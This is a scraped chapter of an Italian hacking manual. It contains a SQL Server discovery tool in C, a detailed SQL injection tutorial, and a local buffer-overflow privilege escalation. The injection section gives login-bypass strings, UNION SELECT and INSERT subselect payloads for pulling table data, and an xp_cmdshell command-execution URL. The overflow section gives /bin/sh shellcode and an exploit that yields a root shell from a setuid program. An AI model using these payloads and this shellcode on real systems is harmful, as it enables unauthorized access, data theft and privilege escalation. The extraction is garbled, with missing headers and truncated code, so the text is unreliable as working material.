HackerProgrammingBook Part 16

download HackerProgrammingBook Part 16

of 21

Transcript of HackerProgrammingBook Part 16

  • 7/31/2019 HackerProgrammingBook Part 16

    1/21

    Identificazione SQL ServerNei capitoli precedenti abbiamo visto le tecniche legate ad SQL Server.Chiaramente il problema trovare i vari SQLServer presenti in rete.Per fare questo sufficiente uno speciale PING ovvero SQLPing.

    /* $Id: sqlping.c,v 1.1 2001/03/06 02:40:48 fygrave Exp $ */

    /*** [email protected]** http://www.relaygroup.com**** Unix port of m$ sql ping tool from http://www.sqlsecurity.com(reversed)*******/

    #include #include #include #include #include #include #include #include #include #include #include #include

    #define DEF_TIMEOUT 10

    #define SQL_PORT 1434

    int ssock;

    int usage(char *myname) {printf("Usage: %s ip_address [timeout] [num of packets]\n",myname);exit(1);

    }

    void sig_alarm(int sig) {close(ssock);printf("\nNo responce received.\n");

    exit(1);}

    int main(int argc,char **argv) {

    int pcount;int npack;struct servent *sp;struct sockaddr_in host;struct hostent *hostaddr;

  • 7/31/2019 HackerProgrammingBook Part 16

    2/21

    struct linger ling;int rsize,hsize,i,timeout;fd_set rfd,wfd;struct timeval waitsock;unsigned char received=0;char rpack[]="\x02";unsigned char buf[1000];int junkct=0;

    /* we need hostname. at least.. */if (argc

  • 7/31/2019 HackerProgrammingBook Part 16

    3/21

    }

    if ((bind(ssock, (struct sockaddr *)&host, sizeof(host))) < 0 ) {perror("bind");close(ssock);exit(1);

    }ling.l_onoff = 0; /* dont linger */if(setsockopt(ssock, SOL_SOCKET,

    SO_LINGER, (void *)&ling, sizeof(ling))==-1) {perror("setsockopt error:");close(ssock);exit(1);

    }

    host.sin_port = htons(SQL_PORT);bcopy(hostaddr->h_addr,&host.sin_addr,hostaddr->h_length);

    printf("Sending %i packet(s) to %s [%s]\n(%i sec. timeout).",npack, argv[1],

    inet_ntoa(host.sin_addr),timeout);

    waitsock.tv_sec=0;waitsock.tv_usec=0;

    /* send packets while not receive any or interrupted */for(;;) {

    FD_ZERO(&rfd);FD_ZERO(&wfd);FD_SET(ssock,&rfd);FD_SET(ssock,&wfd);

    if (select(ssock+1,&rfd,&wfd,(fd_set *)0,&waitsock) == -1) {if (errno==EINTR)

    continue;else {

    perror("select");close(ssock);exit(1);

    }}

    /* if we can write */

    if (FD_ISSET(ssock,&wfd) && npack) {if ((sendto(ssock,rpack,sizeof(rpack),

    0,(struct sockaddr *)&host,sizeof(host)))

    != sizeof(rpack)) {perror("sendto");if (errno == ENOBUFS ) {

    sleep(1);continue;

    }

  • 7/31/2019 HackerProgrammingBook Part 16

    4/21

    elseexit(1);

    }printf(".");npack--;fflush(stdout);

    }/* if something to read ... */

    if (FD_ISSET(ssock,&rfd)){

    if( ( rsize = recvfrom(ssock,buf,sizeof(buf),0,(struct sockaddr *)&host,&hsize))

  • 7/31/2019 HackerProgrammingBook Part 16

    5/21

    La metodologia che permette di eseguire un certo tipo di attacchi viene definita con il termine diSQL injection la quale un tecnica per eseguire lexploit delle applicazioni WEB che usano idatabaseNei capitoli precedenti avevamo gi affrontato il discorso parlando dei problemi legati ai databaseSQL ma ad ogni modo qui vedremo di approfondire largomento.Molte volte le problematiche sorgono dal fatto che gli implementatori del codice di gestione deisistemi di database ignorano per comodit o per ignoranza i pericoli che possono sorgere dallavisualizzazione di codice inserito dentro ai campi da parte di client senza precedentementecontrollarne il contenuto.Sapete tutti che ad esempio i linguaggio di script vengono interpretati a livello di server o di clientper cui spesso inserendo dentro ai campi del database dei comandi del linguaggio o del sistemaSQL stesso questi vengono interpretati esattamente come se di fatto fossero presenti dentro alfile .ASP, .PHP o quello che .Prima di perdere tempo con un sistema eseguite una prova sostituendo un parametro con unapicetto seguito da un comando SQL :e dal carattere di REM ovvero ;-- :

    WHERE --

    Capite che se ad esempio il nome inserito dentro ad un campo richiesto in una pagina WEB

    fosse utilizzato allinterno di una statement SQL questo potrebbe essere visto come:

    SELECT * FROM TABLE WHERE Nome=NomeInserito

    Guardiamo un ipotetico programma in C che legge linput e crea la stringa :

    #include

    void main(vid){

    char buffer[128];printf("\nInput : ");gets(buffer);

    printf("\n\nSelect * From Table Where Name='%s'", buffer);}

    Compiliamo e vedamo gli output inserendo prima un nome come dovrebbe essere messo e poiuno statement errato.

    F:\TempWork>cl test.cMicrosoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

    test.cMicrosoft (R) Incremental Linker Version 6.00.8447Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

    /out:test.exetest.obj

    F:\TempWork>test

    Input : Flavio

    Select * From Table Where Name='Flavio'F:\TempWork>test

  • 7/31/2019 HackerProgrammingBook Part 16

    6/21

    Input : zzz' where ;--

    Select * From Table Where Name='zzz' where ;--'F:\TempWork>

    Vedete che inserendo il nome verrebbe :

    Select * From Table Where Name='Flavio'

    Inserendo zzz WHERE farebbe si che gli apicetti appesi dal programma in C verrebberoconsiderato dopo il REM.

    Select * From Table Where Name='zzz

    In un ambito reale, nel caso in cui I parametri siano pi di uno, I test devono essere eseguiti unoalla volta.Supponiamo che questa sia una linea di argomenti completamente valida :

    ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste

    e che invece questa linea ci restituisca un errore ODBC:

    ContactName=Maria%20Anders&CompanyName='%20OR

    Di conseguenza controllando con questa linea :

    CompanyName='

    Potremmo ricevere lerrore che ci dice che avremmo dovuto specificare un valore per ilContactName.Questa linea :

    ContactName=BadContactName&CompanyName='

    potrebbe restituirvi la stessa pagina che viene restituita nel caso precedente quando non statospecificato nessun valore per ContactName.

    Ad ogni modo avrebbe potuto invec4e restiurvi anche qualche cosa daltro.Questo per dire che linserimento di valori necessita successivamente di un analisi dei valorirestituiti al fine di riuscire a capire quale tecnica usare e queli possono essere le potenzialit delSQL injection.

    Ad ogni modo la cosa importante che il database ci restituisca direttamente un messaggio dierrore.Chiaramente se invece di un messaggio del database ci venisse fuori un messaggio del tipo :

    Avete sbagliato a inserire il nominativo

    Significherebbe che linput viene valutato dal programmatore e quindi passato al database solo informato corretto.

    A dire il vero lottimale si ottiene quando di fatto a restituire il messaggio derrore il driverODBC.Il pi classico dei sistemi che pretende un input da un FORM e successivamente usa i dati inseritidentro ad uno statement del database sicuramente il classico sistema di LOGIN.Un applicazione che fa questo potrebbe usare un statement del tipo :

  • 7/31/2019 HackerProgrammingBook Part 16

    7/21

    SQLQuery = "SELECT Username FROM Users WHERE Username = '" &strUsername & "' AND Password = '" & strPassword & "'"

    strAuthCheck = GetQueryResult(SQLQuery)

    If strAuthCheck = "" ThenboolAuthenticated = False

    ElseboolAuthenticated = True

    End If

    In pratica le due variabili strUsername e strPassword contengono il nome e la pasworde inseritadentro al form dallutente.Come potete vedere tramite un sistema di concatenazione & vengono aggiunti gli apicetti prima edopo la stringa.In pratica lo stetement QL interrogherebbe la tebella Users per vedere se esiste un record chepossiede il nome dellutente e quella password.Ora supponiamo che lutente invece della password e del nome inserisse :

    Login: ' OR ''='Password: ' OR ''='

    Lo statement SQL eseguito diventerebbe :

    SELECT Username FROM Users WHERE Username = '' OR ''='' ANDPassword = '' OR ''=''

    Detto a parole significherebbe :

    Seleziona lo Username da ers fdove lo Username uguale a NULL oppure NIENTE uguale aNIENTE e la password uguale a NULL oppure NIENTE uguale a NIENTE.

    Esistono dei casi in cui necessario eeguire delle funzioni di reverse engineering sulleapplicazioni WEB partendo dai messaggi di errore restituiti dal database.Il primo tipo di errore che generalmente si incontra il SYNTAX ERROR.Un SYNTAX ERROR indica che la query non conforme con la struttura delle sintassi SQL deldatabase.In quele definite come iniezioni dirette, qualsiasi argomento inseriate questa viene utilizzataallinterno della query SQL direttamente senza nessuna modifica.Proviamo ad inserire un valore legittimo terminato da uno spazio e dalla parola ORSe questa genera un errore allora la direct injection possibile.I valori diretti possono essere dei numerici usati dentro alle specifiche WHERE, come ad esempio:SQLString = "SELECT FirstName, LastName, Title FROM EmployeesWHERE Employee = " & intEmployeeID

    Oppure una keyword SQL, come ad esempio un nome di una tabella o di una colonna cmenellesempio :

    SQLString = "SELECT FirstName, LastName, Title FROM EmployeesORDER BY " & strColumn

    Tutte le altre istanze sono quelle definite con il terine di quoted injection vulnerabilities.

  • 7/31/2019 HackerProgrammingBook Part 16

    8/21

    In una quoted injection, qualsiasi agomento che inseriate possiede un chiusura tra virgolettegrazie apunto al carattere preposto e inserito dopo.dallapplicazione stessa :

    SQLString = "SELECT FirstName, LastName, Title FROM EmployeesWHERE EmployeeID = '" & strCity & "'"

    In ordine per eseguire il break out delle virgolette e la manipolazione della query al fine dimantenere una sintassi valida, la vostra stringa relativa alliniezione deve contenere unavirgoletta singola prima di usare una parola SQL alla fine dentro ad uno statement WHERE chenecessita di una virgoletta messa dopo.Come abbiamo visto prima linserimento alla fine di :

    ;--

    permette di annullare qualsiasi cosa il programma aggiunga alla fine in quanto di fatto sitroverebbe dopo il segno di REM.Le query tramite SELECT sono utilizzate per recuperare I dati da un database.Molte applicazioni WEB che utilizzano contenuti dinamici di qualsiasi tipo utilizzano leinformazioni restituite da una SELECT.La parte della SELECT che in grado di eseguire il filtraggio dei dati la WHERE.

    La strada per modificare una query mediante una WHERE quella di crearla usado una UNIONSELECT.Una UNION SELECT permette query multiple SELECT che possno essere specificate allinternbodi un unico stement.Queste potrebbero sembrare a:

    SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECTCompanyName FROM Customers WHERE 1 = 1

    Questa estituir un recordsets dalla prima query e insieme una seconda query.ALL necessaria per sotrarsi a certi tipi di SELECT DISTINCT e comunque non interferisce innesun modo.E necessario esserei sicuri che la prima query, la prima che lo sviluppatore dellapplicazione

    WEB intende eseguire, non restituisca records.Non esiste nessuna difficolt.Vediamo il eguente codice al lavoro :

    SQLString = "SELECT FirstName, LastName, Title FROM EmployeesWHERE City = '" & strCity & "'"

    E usiamo la stringa per liniezione :

    ' UNION ALL SELECT OtherField FROM OtherTable WHERE ''='

    Questa farebbe risultare la seguente query :

    SELECT FirstName, LastName, Title FROM Employees WHERE City ='' UNION ALL SELECT OtherField FROM OtherTable WHERE ''=''

    Questo quello che succede: il database engine naviga sulla tabella Employees, cercando quellerighe dove la City settata a nothing.Siccome non trova righe dove City nothing, nessun records restituito.Lunico record che verr restituito sar dalla injected query.In alcuni casi, usando nothing non funzioner dato che ci sono delle entries nella tabella dovenothing viene usato, o perch specificando nothing costringeremmo lapplicazione WEB a farequalche cosa.

  • 7/31/2019 HackerProgrammingBook Part 16

    9/21

    Tutto quello che dovete fare specificare un valore che non esista dentro alla taballa.Ad esempio si potrebbe specificare qualche cosa fori dallordinarioQuando viene atteso un numero, zero e I numeri negativi spesso funzionano benePer un argomento di testo si potrebbe usare una stringa come "NoSuchRecord", "NotInTable", ola popolarre batitura di tasti"sjdhalksjhdlka".

    Alcuni server di database restituiscono delle porzioni di query contenenti lerrore di sintassiallinterno dei loro messaggi.In questo caso si potrebbe volutamente creare errori per ricevere informazioni utili sulla strutturadel database.Queste sono ad esempio delle stringhe dattacco :'BadValue''BadValue' OR '' OR;9,9,9

    Se gli errori di sintassi contengono delle parentesi aggiungete una parentesi al valore cattivocome parte della vostra stringa diniezione.

    Ad esempio :

    mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROMEmployees WHERE (City = '" & strCity & "')"

    In questo modo quando iniettate il valore

    ') UNION SELECT OtherField FROM OtherTable WHERE (''=',

    la seguente query viene inviata al server

    SELECT LastName, FirstName, Title, Notes, Extension FROM EmployeesWHERE (City = '') UNION SELECT OtherField From OtherTable WHERE (''='')

    U altra specifica riguarda la voce LIKE.Molti statement SQL utilizzano il LIKE come ad esempio :

    SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERELastName LIKE '%" & strLastNameSearch & "%'"

    Il segno percento (%) viene usato come valore jolly, in modo tale che la WHERE per,mette difare si che strLastNameSearch possa apparire in qualsiasi modo dentro LastName.In ordine per terminare la query dal fatto di restituire records, il vostro bad value deve esserequalche cosa che nessuno dei valori in LastName contiene.La stringa che lapplicazione WEB appende allinput degli utenti, normalmente un segno dipercento e una virgoletta, deve essere mirrorizzata nella specifica WHERE della stringadiniezione.Inoltre utilizzando nothing come cattivo valore verr creato largomento di LIKE uguale a %%, ilquale risulter essere un wildcard completo , il quale restituir tutti i records.Usando la stringa "9,9,9" potreste ricevere il messaggio :

    Too many arguments were supplied for procedure sp_StoredProcedureName.

    Questo significa che I dati passati dallutente vengono utilizzati dentro ad una stored procedure.

  • 7/31/2019 HackerProgrammingBook Part 16

    10/21

    Questo in genere quello che si pu definire con il termine di kiss of death per quanto riguardale iniezioni SQL in quanto non esiste modo di eseguirle se i dati vengono usati direttamentedentro a una di queste.

    Ad ogni modo se riuscite girare intorno al syntax error, la parte di lavoro pi dura stata fatta.Scegliete un nome di tabella valida tra quelle qui elencate :

    MS SQL Server

    sysobjectssyscolumnsMS Access Server

    MSysACEsMSysObjectsMSysQueriesMSysRelationshipsOracle

    SYS.USER_OBJECTSSYS.TABSYS.USER_TABLESSYS.USER_VIEWSSYS.ALL_TABLES

    SYS.USER_TAB_COLUMNSSYS.USER_CONSTRAINTSSYS.USER_TRIGGERSSYS.USER_CATALOG

    relative al sistema di database con cui pensate di avere a che fare.Quasi sicuramente avrete a che fare con un messaggio derrore che sar relativo alle differenzedi numero di campi dentro ad una query SELECT e UNION SELECT.Dovrete trovare quante colonne sono richieste per creare una query valida.Guardate ad esempio il seguente codice :

    SQLString = SELECT FirstName, LastName, EmployeeID FROM Employees WHERECity = '" & strCity "'"

    La SELECT legittima e la stringa UNION SELECT iniettata deve avere un numero uguale dicolonne pari a quelle della clausola WHERE.In questo caso tutte e due ne vogliono tre.Non soltanto il numero ma anche le tipologie.

    Ad esempio se FirstName una stringa, allora il campo corrispondente nella vostra stringadiniezione deve essere anchesso una stringa.

    Alcuni servers, come ad esempio Oracle, sono molto restrittivi su questo.Altri invece sono pi elastici e permettono di usare qualsiasi tipo in quanto eseguono laconversione.Per esempio in SQL Server inserendo dei valori numerici in una varchar tutto va bene dato che ilnumero verrebbe convertito in stringa.Inserire del testo in una colonna smallint, in ogni caso, illegale dato che il testo non pu essere

    convertito in interoDato che I tipi numerici spesso sono convertiti in stringhe facilmente, ma non viceversa, usatequando potete valori numerici.Per determinare il numero dele colonne che devono essere usate, tentate aggiungendo un valorealla volta alla clausola UNION SELECT fino a quando vi verr restituito un errore di columnnumber mismatch.Se viene inconrato un type mismatch error cambiate la tipologia dei dati della colonna.danumerico a litteral.

    Alcune volte riceverete un errore di conversione non appena userete una tipologia incorretta.Altre volte invece riceverete immediatamente degli errori relativi al numero di argomenti.

  • 7/31/2019 HackerProgrammingBook Part 16

    11/21

    Alcune volte il problema potrebbe derivare da delle clausole WHERE che vengono aggiunte dopola vosttra stroinga delliniezione.Guardate ad esempio il codice :

    SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERECity = '" & strCity & "' AND Country = 'USA'"

    Usando una semplice iniezione avremmo :

    SELECT FirstName, LastName, Title FROM Employees WHERE City='NoSuchCity' UNION ALL SELECT OtherField FROM OtherTable WHERE 1=1 ANDCountry = 'USA'

    Ila quale genererebbe una segnaazione derrore del tipo :

    [Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name'Country'.

    Il problema in questo caso dovuta al fatto che la query iniettata non possiede una tabellaallinterno del FROM che contiene la colonna 'Country'.

    Ci sono due modi di risolvere il problema:Il primo appunto quello annunciato in altri capitoli e allinizio di questo ovvero di usare ilterminatore ;-- nel caso in cui si stia usando SQL Server, oppure prendete il nome della tabellace ospita la colonna e appendetela al FROM.Ora che potrebbe essere possibile avere una stringa diniezione necessario decidere qualitabelle e campi volete recuperare.Con SQL Server potete facilmente recuperare tutte le tabelle e le colonnedel database.Con Oracle e Access potreste o non potreste essere in grado di farlo in quanto questo dipendedai privilegi dellaccount mediante il quale lapplicazione WEB accede al database.In SQL Server ci sono delle tabella chiamate 'sysobjects' e 'syscolumns' che permettono di averedeterminate informazioni legate alle tabelle e ai campi presenti in un database.Per ricavare la lista delle tabelle potete usare la stringa diniezione:

    SELECT name FROM sysobjects WHERE xtype = 'U'

    Questa ritorna il nome di tutte le tabelle definite dallutente (xtype = 'U').Per avere i campi invece :

    SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHEREname = 'Orders')

    Alcune applicazioni sono create per utilizzare soltanto un recordset alla volta allinterno del lorooutput.Potete manipolare la vostra stringa diniezione per avere indietro lentamente ma con sicurezza leinformazioni desiderate.Questo viene eseguito aggiungendo un qualificatore alla clausola WHERE che previene dal fattoche alcune righe possano essere selezionate.Guardate ad esempio :

    ' UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne WHERE ''='

    Chiamiamo I valori di FieldOne, FieldTwo, FieldThree come Alpha, Beta e Deltarispettivamente.La seconda stringa diniezione potrebbe essere :

  • 7/31/2019 HackerProgrammingBook Part 16

    12/21

    ' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE

    FieldOne NOT IN ('Alpha') AND FieldTwo NOT IN ('Beta') AND FieldThree NOT IN

    ('Delta') AND ''='

    La clausola NOT IN VALUES ci rende sicuri che le informazioni che gi conoscete non venganorestituite nuovamente., in modo che la prossima riga nella tabella venga usata al loro posto.

    Questa dice questi valori dove "AlphaAlpha", "BetaBeta" e "DeltaDelta"...

    ' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHEREFieldOne NOT IN ('Alpha', 'AlphaAlpha') AND FieldTwo NOT IN ('Beta','BetaBeta') AND FieldThree NOT IN ('Delta', 'DeltaDelta') AND ''='

    Questo previene sia il primo che il secondo sets di valori.La parola INSERT viene usata poer inserire informazioni dentro ad un database..Luso comune allinterno di un applicazione WEB potrebbe essere legata alliserimento dei dati diqualche nuovo utente registrato.Il controllo delle vulnerabilit dello stetement INSERT avviene allo stesso modo di quelloWHERE.Prendiamo ad esempio un sito in cui si permessa la registrazione di nuovi utenti.In questo sar presente un form dove potrete inserire il nome, il cognome e altri dati

    Dopo averli confermati potrete andare nella pagina dove questi sono visualizzati e quindi provaread editarli.Per poter avere un vantaggio nella specifica INSERT, dovrete essere in grado di vedere leinformazioni inseriteCercate di trovare il modo per riuscire a visualizzare tali informazioni.Una statement INSERT potrebbe essere :

    INSERT INTO TableName VALUES ('Value One', 'Value Two', 'Value Three')

    Potreste volere di essere in grado di manipolare gli argomenti allinterno dela specifica VALUESin modo da poter recuperare altri dati.Per fare questo usate una subselects.Il codice potrebbe essere :

    SQLString = "INSERT INTO TableName VALUES ('" & strValueOne & "', '" &strValueTwo & "', '" & strValueThree & "')"

    Per poter riempire il form in questo modo:

    Name: ' + (SELECT TOP 1 FieldName FROM TableName) + 'Email:[email protected] Phone: 333-333-3333

    creiamo un statement SQL come questo :

    INSERT INTO TableName VALUES ('' + (SELECT TOP 1 FieldName FROMTableName) + '', '[email protected]', '333-333-3333')

    Quando poi andrete nella pagina delle preferenze nella quale possibile vedere I dati inseriti,potrete vedere il primo valore in FieldName dove di fatto lo user's name dovrebbe esserenormalmente .Fino a quando usate TOP 1 allinterno della vostra subselect, dovreste ricevere indietro unmessaggio derrore il quale vi dir che esistono troppi records restituiti dalla subselectPotreste anche navigare attraverso tutte le righe della tabella usando NOT IN () allo stesso modoin cui vferrebbe usata allinterno di un ciclo relativo ad un unico record.Come abbiamo detto prima I database possono utilizzare quelle definite con il termine di storedprocedure.

    mailto:[email protected]:[email protected]
  • 7/31/2019 HackerProgrammingBook Part 16

    13/21

    Dentro a Microsoft SQL Server esistono centinaia di stored procedures.Se potete eseguire un iniezione SQL che funziona sul WEB potreste anche usare queste storedprocedures per tirarci fuori alcuni effetti strani.In funzione alle permissions delle applicazioni web alcune di queste potrebbero funzionare.La prima cosa che dovete conoscere sulle iniezioni legate alle stored procedure che nonvedrete loutput da pate di queste allo stesso modo in cui avrete I dati indietro mediante lusodelle normali metodologie diniezione.In funzione a quello che vorreste fare potreste non avere bisogno di avere restituiti tutti I dati.Potreste trovare altri modi per ricevere I dati restituiti.Le iniezioni delle procedure pi semplice di quanto lo sia la normale iniezione.Un procedure injection potrebbe essere :

    simplequoted.asp?city=seattle';EXEC master.dbo.xp_cmdshell 'cmd.exe dirc:

    Notate come un argomento valido fornito allinizio il quale successivamente seguito da unavirgoletta.Largomento finale non possiede chiusure di virgolette.Questo soddisfa le richieste delle sintassi inerenti a molte vulnerabilit quotate.Potreste anche dover trattare con parentesi gli stements WHERE aggiuntivi.

    Tra le stored procedure troviamo :

    xp_cmdshell {'command_string'} [, no_output]

    master.dbo.xp_cmdshell il santo grailis delle stored procedure.Questa vuole un singolo argomento il quale un comando che deve essere eseguito.

    sp_makewebtask [@outputfile =] 'outputfile', [@query =] 'query'

    Un altra procedura master.dbo.sp_makewebtask.Come potete vedere questa usa come argomento la locazione di un file di outpute una statementSQL.

    sp_makewebtask prende una query e crea una pagina web contenente il suo output.Notate che potete usare un pathname unicode come locazione di output.

    Un tentativo di buffer overflow eseguito localmenteQuando abbiamo parlato negli altri capitoli di buffer overflow la domanda fondamentale era didove questo inserimento di dati oltre un certo limite poteva essere eseguito.La risposta era di fatto ovunque il sistema operativo o un software di gestione di un seversprendesse linput.Chiaramente gli scopi potevano essere diversificati a seconda del punto da cui si cercava dieseguire questa procedura.

    Se lattacco avveniva dallesterno questa poteva essere orientata ad ottenere una shell dentro alsistema operativo.Se invece si fosse gi allinterno, ad esempio dopo aver fatto il login come guest, lo scopo potevaessere quello di cercare di aumentare i privilegi, magari ottenendo una shell come root.In questa parte vedremo appunto questo caso.Per altre spiegazioni sulla metodologia dei buffer overflow vi rimando agli appositi capitoli cheabbiamo visto precedentemente.Come ho gi detto lo scopo di questo capitolo quello d creare da dentr9o al sistema una shellcon diritti di root.

  • 7/31/2019 HackerProgrammingBook Part 16

    14/21

    Supponiamo di avere ad esempio il sistema che legge la variabile dambiente legato al settaggiodel terminale.

    void main(int argc, char **argv, char **envp) {char s[1024];strcpy(s,getenv("TERM"));

    }

    Questo di fatto un pezzo di codice reale e molti exploit si basano su questo.Ora supponiamo di aver definito la varabile dambiente :

    $ export TERM="01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234

    56789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789"$ ./simpleSegmentation fault

    Come avrete visto il risultato un errore di segmentation fault.La variabile dentro alla procedura che dovrebbe mantenere il settaggio TERM di 1024 bytesnon adatto a mantenere quanto appena visto.Ora diamo un occhiata al programma che segue :

    $ cat simple.c

    #include #include void main(int argc,char **argv,char **envp) {char s[1024];strcpy(s,getenv("TERM"));

    }$ gcc simple.c -S$ cat simple.s

    .file "simple.c"

    .version "01.01"gcc2_compiled.:.section .rodata.LC0:

    .string "TERM".text

    .align 16.globl main

    .type main,@functionmain:

    pushl %ebpmovl %esp,%ebpsubl $1024,%esppushl $.LC0

  • 7/31/2019 HackerProgrammingBook Part 16

    15/21

    call getenvaddl $4,%espmovl %eax,%eaxpushl %eaxleal -1024(%ebp),%eaxpushl %eaxcall strcpyaddl $8,%esp

    .L1:movl %ebp,%esppopl %ebpret

    .Lfe1:.size main,.Lfe1-main.ident "GCC: (GNU) 2.7.0"

    $

    Tenete presente queste righe di codice :

    pushl %ebp

    movl %esp,%ebpsubl $1024,%esp

    ret

    Le prima de linee sono chiamate "setting up a stack frame" e sono una parte standard del codicecompilato mediante un compilatore CLa terza linea serve ad allocare delle spazio nello stack per la variabile "s" allinterno del nostrocodice C.Da questo codice possiamo farci un idea graficamente di come strutturato lo stack:

    +-------------+ -1024(%ebp)| 1024 bytes | (s variabile)

    +-------------+ 0(%ebp)| ebp |+-------------+ 4(%ebp)| ret addr |+-------------+ 8(%ebp)| argc |+-------------+ 12(%ebp)| argv |+-------------+ 16(%ebp)| envp |+-------------+

    Cosa avviene quando eseguiamo linserimento dentro alla variabile di 1024 della stringa deviroment TERM ?

    Partiamo copiando a -1024(%ebp), andiamo fino -1023(%ebp) e cosi via fino a fermarci prima di0(%ebp) in quanto dopo ci sono i dati relativi a EBP e il valore di ritorno dela chiamata alafunzione.

    Andando avanti a copiare andremmo a soprascrivere questi valori.Riprendiamo lesempio di prima:

    $ export TERM="01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890

  • 7/31/2019 HackerProgrammingBook Part 16

    16/21

    12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678

    901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789"

    Usiamo GDB il debugger di Linux sul programma d prima :

    $ gdb simpleGDB is free software and you are welcome to distribute copies of itunder certain conditions; type "show copying" to see the conditions.

    There is absolutely no warranty for GDB; type "show warranty" fordetails.GDB 4.14 (i486-slackware-linux),Copyright 1995 Free Software Foundation, Inc...(no debugging symbols

    found)...(gdb) break mainBreakpoint 1 at 0x80004e9(gdb) runStarting program: simple

    Breakpoint 1, 0x80004e9 in main ()(gdb) disassDump of assembler code for function main:0x80004e0 : pushl %ebp0x80004e1 : movl %esp,%ebp0x80004e3 : subl $0x400,%esp0x80004e9 : pushl $0x80005480x80004ee : call 0x80003d8 0x80004f3 : addl $0x4,%esp0x80004f6 : movl %eax,%eax0x80004f8 : pushl %eax0x80004f9 : leal 0xfffffc00(%ebp),%eax0x80004ff : pushl %eax0x8000500 : call 0x80003c8 0x8000505 : addl $0x8,%esp0x8000508 : movl %ebp,%esp0x800050a : popl %ebp0x800050b : ret0x800050c : nop0x800050d : nop0x800050e : nop

    0x800050f : nopEnd of assembler dump.(gdb) break *0x800050bBreakpoint 2 at 0x800050b(gdb) contContinuing.

    Breakpoint 2, 0x800050b in main ()(gdb) stepi0x37363534 in __fpu_control ()

  • 7/31/2019 HackerProgrammingBook Part 16

    17/21

    (gdb) stepi

    Program received signal SIGSEGV, Segmentation fault.0x37363534 in __fpu_control ()(gdb)

    Coma mai un segmentation fault ?E semplice non esiste nessun codice allindirizzo 0x37363534:

    $ gdb simpleGDB is free software and you are welcome to distribute copies of itunder certain conditions; type "show copying" to see the conditions.

    There is absolutely no warranty for GDB; type "show warranty" fordetails.GDB 4.14 (i486-slackware-linux),Copyright 1995 Free Software Foundation, Inc...(no debugging symbolsfound)...(gdb) break mainBreakpoint 1 at 0x80004e9(gdb) run

    Starting program: simple

    Breakpoint 1, 0x80004e9 in main ()(gdb) info registerseax 0x0 0ecx 0xc 12edx 0x0 0ebx 0x0 0esp 0xbffff800 0xbffff800ebp 0xbffffc04 0xbffffc04esi 0x50000000 1342177280edi 0x50001df0 1342184944eip 0x80004ee 0x80004eeps 0x382 898cs 0x23 35ss 0x2b 43ds 0x2b 43es 0x2b 43fs 0x2b 43gs 0x2b 43(gdb) x/5xw 0xbffffc040xbffffc04 : 0xbffff8e8 0x080004950x00000001 0xbffffc180xbffffc14 : 0xbffffc20(gdb)

    Il primo valore qui (0xbffff8e8) quello di ebp prima che questo sia inserito nello stack.

    Il valore successivo quello di ritorno.Il valore 0x00000001 l argc e 0xbffffc18 invece argv mentre infine 0xbffffc20 envp

    A questo punto se copiamo 1024 + 8 bytes andremo a soprascrivere lindirizzo di ritorno facendoin modo che questo obblighi ad eseguire un salto al nostro codice.Se settassimo TERM con:

  • 7/31/2019 HackerProgrammingBook Part 16

    18/21

    potremmo ottenere che il software salti allinterno di un o dei NOP facendo in modo che ilprocessore passi alla successiva istruzione fino a quando non incontra il codice che apre la shell.Lunico problema indovinare il valore da inserire nellindirizzo di ritorno.Il valore pefetto dovrebbe essere 0xbffff804 ma piuttosto improbabile che possiamo aveequesta informazione nellistante in cui andremo scrivere un exploit reale per cui lunica cosa provare.Chiaramente linserimento dei NOP semplifica un p la questione.Questo potrebbe essere un piccolo esempio relativo al nostro caso.

    long get_esp(void){__asm__("movl %esp,%eax\n");}

    char *realegg ="\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f""\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd""\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

    /*char *realegg="\xeb\xfe\0";*/

    char s[1034];int i;char *s1;

    #define STACKFRAME (0xc00 - 0x818)

    void main(int argc,char **argv,char **envp) {strcpy(s,"TERM=");s1 = s+5;while (s1

  • 7/31/2019 HackerProgrammingBook Part 16

    19/21

    Ora proviamo :

    $ ls -l simple-rwsr-xr-x 1 root root 4032 Oct 2 18:46 simple*$ ./sploitBFFFF418bash$ ./simplebash#

    e sorpresa abbiamo la shell come root.Lunico trucco legato a questo tipo di buffer overflow quello di riuscire a trovare il correttoSTACK_FRAME.Per aiutarci a fare questo possiamo usare un piccolo programma chiamato whatesp:

